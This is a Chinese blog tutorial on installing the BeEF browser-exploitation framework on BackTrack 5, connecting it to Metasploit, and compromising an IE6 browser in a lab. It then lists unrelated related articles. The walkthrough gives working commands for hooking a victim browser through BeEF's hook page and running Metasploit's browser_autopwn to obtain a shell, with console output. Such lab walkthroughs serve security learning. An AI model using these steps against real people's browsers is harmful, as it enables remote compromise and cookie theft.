初探BeEF
1.什么是BeEF?
就是 The Browser Exploitation Framework 的缩写,意在通过一些手段,控制对方的浏览器。
里面集成了很多模块,能够获取很多东西,有cookie,浏览器名字,版本,插件,是否支持java,vb,flash等,所以说XSS神器嘛。。
大概长这个样子(默认用户名密码是beef,beef):

2.安装beef和使用beef
BT5r3 已经是自带了ruby和beef了,我们不用下载和安装了。
[plain] view plaincopy


- ruby :ruby 1.9.2dev (2010-07-02) [i486-linux]
- beef :Version 0.4.3.6-alpha
beef默认安装在:/pentest/web/beef/ 下
metasploit默认安装在:/opt/metasploit/下
翻看了下beef的安装文档:INSTALL.txt
[plain] view plaincopy


- 1. Prerequisites (platform independent)
- BeEF requires ruby 1.9 and the "bundler" gem. Bundler can be installed by:
- gem install bundler
- . Prerequisites (Linux)
- !!! This must be done PRIOR to running the bundle install command !!!
- On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
- 3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
- 3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
- 3.2. rvm install 1.9.2
- 3.3. rvm use 1.9.2
发现有个东西必须的安装: bundler!(千古一问:为什么BT5不一起把bundler安装好呢?)
总结了下就是:
[plain] view plaincopy


- apt-get install libsqlite3-dev sqlite3 sqlite3-doc
- gem install bundler
- bundle install
如果出错(因为环境变量的问题,我感觉看官们一定会出错的,乖乖输入下面的命令):
[plain] view plaincopy


- gem install --user-install bundler
然后开启beef:./beef
出现如下信息则成功:
[plain] view plaincopy


- root@bt:/pentest/web/beef# ./beef
- [ 9:17:50][*] Browser Exploitation Framework (BeEF)
- [ 9:17:50] | Version 0.4.3.6-alpha
- [ 9:17:50] | Website http://beefproject.com
- [ 9:17:50] | Run 'beef -h' for basic help.
- [ 9:17:50] |_ Run 'git pull' to update to the latest revision.
- [ 9:17:50][*] Successful connection with Metasploit.
- [ 9:17:53][*] Loaded 203 Metasploit exploits.
- [ 9:17:53][*] BeEF is loading. Wait a few seconds...
- [ 9:17:57][*] 9 extensions loaded:
- [ 9:17:57] | Console
- [ 9:17:57] | Requester
- [ 9:17:57] | Events
- [ 9:17:57] | Proxy
- [ 9:17:57] | XSSRays
- [ 9:17:57] | Autoloader
- [ 9:17:57] | Metasploit
- [ 9:17:57] | Demos
- [ 9:17:57] |_ Admin UI
- [ 9:17:57][*] 316 modules enabled.
- [ 9:17:57][*] 2 network interfaces were detected.
- [ 9:17:57][+] running on network interface: 127.0.0.1
- [ 9:17:57] | Hook URL: http://127.0.0.1:3000/hook.js
- [ 9:17:57] |_ UI URL: http://127.0.0.1:3000/ui/panel
- [ 9:17:57][+] running on network interface: 192.168.198.128
- [ 9:17:57] | Hook URL: http://192.168.198.128:3000/hook.js
- [ 9:17:57] |_ UI URL: http://192.168.198.128:3000/ui/panel
- [ 9:17:57][*] RESTful API key: c29aef201f68aee70afc6ffedea1f77e8304ce72
- [ 9:17:57][*] HTTP Proxy: http://127.0.0.1:6789
- [ 9:17:57][*] BeEF server started (press control+c to stop)
其实BeEF能干很多事,比如说,控制被HOOK浏览器弹个框吧:

3.配置beef携手Metasploit
首先关闭beef(Ctrl+C)。
在/opt/metasploit/文件夹下gedit beef.rc,写入内容:
[plain] view plaincopy


- load msgrpc ServerHost=127.0.0.1 Pass=abc123
这里上网搜了下,发现密码神马的最好不要改,那就不改啦~
安装msgpack:
[plain] view plaincopy


- gem install --user-install msgpack
修改配置让beef支持metasploit:
[plain] view plaincopy


- gedit /pentest/web/beef/config.yaml
- 把 metasploit:
- enable: false
- 改成:
- metasploit:
- enable: true
Ps:这里必须先开msf,再开beef,才能在beef下用msf,也就是说两者开着一起工作!
我们启动metasploit:
[plain] view plaincopy


- root@bt:/opt/metasploit/msf3# msfconsole -r beef.rc
出现如下信息就表示成功:
[plain] view plaincopy


- [*] Processing beef.rc for ERB directives.
- resource (beef.rc)> load msgrpc ServerHost=127.0.0.1 Pass=abc123
- [*] MSGRPC Service: 127.0.0.1:55552
- [*] MSGRPC Username: msf
- [*] MSGRPC Password: abc123
- [*] Successfully loaded plugin: msgrpc
然后我们再启动beef:
[plain] view plaincopy


- root@bt:/pentest/web/beef# ./beef
beef,beef登陆后我们就能看到一个可爱的界面了:

然后BeEF自带了一个hack页面,坐等别人上钩:
[plain] view plaincopy


- http://127.0.0.1:3000/demos/basic.html
里面主要是有这么一段js代码:
[plain] view plaincopy


4.对XPSP1测试
(1)让xp sp1 用IE6访问hack页面:
[plain] view plaincopy


- http://192.168.198.128:3000/demos/basic.html
发现面板左侧上多了一个目标,也就是我们喜欢的IE6:

(2)
拿msf生成HOOK链接:
[plain] view plaincopy


- msf > use auxiliary/server/browser_autopwn
- msf auxiliary(browser_autopwn) > set LHOST 192.168.198.128 #我服务器自己的地址
- LHOST => 192.168.198.128
- msf auxiliary(browser_autopwn) > run
然后出来一大堆URL,我们选择,IE的一个:
[plain] view plaincopy


- http://192.168.198.128:8080/hxRmMPkYJa
控制被HOOK的浏览器去访问这个链接:

然后msf 突然就开始自己(意味着自动化,这点以前一直以为我要做些什么,其实不用)跑起来,拿到shell:

至此,BeEF就算是一个初步认识和使用了。
有很多功能还没学会了,不过我感觉控制那个cookie之类的应该是没问题了。。
这么强大的神器,你还在等什么呢?
emaster 关注信息安全的胖子
欢迎转载,但转载请注明地址:http://blog.csdn.net/emaste_r/article/details/17091067
初探BeEF的更多相关文章
- 【20171106早】BeEF 工具初探
老黑今天接触BeEF工具,首先要了解这个工具能够做什么? 0x01:功能介绍 专业文档:点击这里 通俗的说就是可以控制别的浏览器,获取浏览器的信息.然后做something 专业的说就是好用的渗透测试 ...
- 初探领域驱动设计(2)Repository在DDD中的应用
概述 上一篇我们算是粗略的介绍了一下DDD,我们提到了实体.值类型和领域服务,也稍微讲到了DDD中的分层结构.但这只能算是一个很简单的介绍,并且我们在上篇的末尾还留下了一些问题,其中大家讨论比较多的, ...
- CSharpGL(8)使用3D纹理渲染体数据 (Volume Rendering) 初探
CSharpGL(8)使用3D纹理渲染体数据 (Volume Rendering) 初探 2016-08-13 由于CSharpGL一直在更新,现在这个教程已经不适用最新的代码了.CSharpGL源码 ...
- 从273二手车的M站点初探js模块化编程
前言 这几天在看273M站点时被他们的页面交互方式所吸引,他们的首页是采用三次加载+分页的方式.也就说分为大分页和小分页两种交互.大分页就是通过分页按钮来操作,小分页是通过下拉(向下滑动)时异步加载数 ...
- JavaScript学习(一) —— 环境搭建与JavaScript初探
1.开发环境搭建 本系列教程的开发工具,我们采用HBuilder. 可以去网上下载最新的版本,然后解压一下就能直接用了.学习JavaScript,环境搭建是非常简单的,或者说,只要你有一个浏览器,一个 ...
- .NET文件并发与RabbitMQ(初探RabbitMQ)
本文版权归博客园和作者吴双本人共同所有.欢迎转载,转载和爬虫请注明原文地址:http://www.cnblogs.com/tdws/p/5860668.html 想必MQ这两个字母对于各位前辈们和老司 ...
- React Native初探
前言 很久之前就想研究React Native了,但是一直没有落地的机会,我一直认为一个技术要有落地的场景才有研究的意义,刚好最近迎来了新的APP,在可控的范围内,我们可以在上面做任何想做的事情. P ...
- 【手把手教你全文检索】Apache Lucene初探
PS: 苦学一周全文检索,由原来的搜索小白,到初次涉猎,感觉每门技术都博大精深,其中精髓亦是不可一日而语.那小博猪就简单介绍一下这一周的学习历程,仅供各位程序猿们参考,这其中不涉及任何私密话题,因此也 ...
- Key/Value之王Memcached初探:三、Memcached解决Session的分布式存储场景的应用
一.高可用的Session服务器场景简介 1.1 应用服务器的无状态特性 应用层服务器(这里一般指Web服务器)处理网站应用的业务逻辑,应用的一个最显著的特点是:应用的无状态性. PS:提到无状态特性 ...
随机推荐
- redis系统和通用函数
construct函数: 用来创建一个redis客户端. redis = new Redis(); connect函数:连接到一个redis实例. 参数如下: host:字符串类型 可以使一个HO ...
- H5微信自定义分享链接(设置标题+简介+图片)
起源:最近公司在做招募广告的html5页面,然后做出来后,产品提出一个问题,需要分享出去的链接是卡片形式,内容也要自己定义,这下就难到我了,因为是第一次遇到这种需求,果断百度,然而,我就像大家一样,看 ...
- Vue组件库
滴滴cube-ui https://didi.github.io/cube-ui/#/zh-CN/docs/quick-start 有赞开源Vant(适合做商城) https://tech.youza ...
- laravel5.4学习--laravel目录结构
Laravel目录结构分析 app目录:主要是存放自己开发的应用代码(里面主要书写 控制器和模型和路由文件) bootstrap目录:laravel启动目录 config目录:主要是存放配置文件信息 ...
- veloctiy入门
什么是velocity? velocity是一个基于Java的模板引擎.你可以使用它来预定义模板,并且对模板进行数据渲染,从而动态生成相应的文本.它如同JSP一样经常被使用在MVC分层架构当中,充当V ...
- mongo_connector.oplog_manager:670 - Exception during collection dump
今天再整合mongodb和elasticsearch时,执行最后一步命令 “mongo-connector -m -m localhost:8090 -t -t -t localhost:9200 ...
- HTTP 错误500.19 - 错误代码 0x80070021
1.错误描述 HTTP 错误500.19 -Internal Server Error 无法访问请求的页面,因为该页的相关配置数据无效. 详细错误信息 模块 IIS Web Core 通知 Begi ...
- java设计模式-观察者模式,装饰者模式
1.1定义 慨念:定义了对象之间的一对多的依赖,这样一来,当一个对象改变状态时,它的所有依赖者都会收到通知并自动更新. 即:主题和观察者定义了一对多的关系,观察者依赖于主题,只要主题发生变化,观察者就 ...
- tensorflow梯度下降
import numpy as np import tensorflow as tf import matplotlib.pyplot as plt num_points = 1000 vectors ...
- Django2.0之后使用外键时遇到 __init__() missing 1 required positional argument: 'on_delete'
1.Django2.0之后使用外键时遇到 __init__() missing 1 required positional argument: 'on_delete' 需要在外键创建时给on_dele ...